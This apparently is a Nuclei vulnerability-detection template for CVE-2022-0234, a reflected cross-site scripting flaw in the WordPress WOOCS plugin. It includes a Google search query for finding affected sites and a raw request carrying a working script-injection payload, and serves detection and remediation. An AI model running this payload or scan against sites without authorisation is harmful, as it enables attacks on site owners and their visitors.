id: CVE-2022-0234

info:
  name: WordPress WOOCS < 1.3.7.5 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress WOOCS plugin before 1.3.7.5 is susceptible to cross-site scripting. The plugin does not sanitize and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action, available to both unauthenticated and authenticated users, before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the WordPress WOOCS plugin to version 1.3.7.5 or later to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fd568a1f-bd51-41bb-960d-f8573b84527b
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0234
    - https://plugins.trac.wordpress.org/changeset/2659191
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0234
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0234
    cwe-id: CWE-79
    epss-score: 0.01798
    epss-percentile: 0.75616
    cpe: cpe:2.3:a:pluginus:woocs:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pluginus
    product: woocs
    framework: wordpress
    google-query: inurl:"wp-content/plugins/woocommerce-currency-switcher"
  tags: cve2022,cve,wpscan,wordpress,wp-plugin,wp,xss,woocs,pluginus,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(document.domain)>'
          - '"current_currency":'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a72aebce22222287a61bcfb3051ebb2b98dea41366084772e13f81e609daaebc022006287f96f7149514eb7d061ba13d1d50d770da7e7fa0ece33fcb6309639f10f2:922c64590222798bb761d5b6d8e72950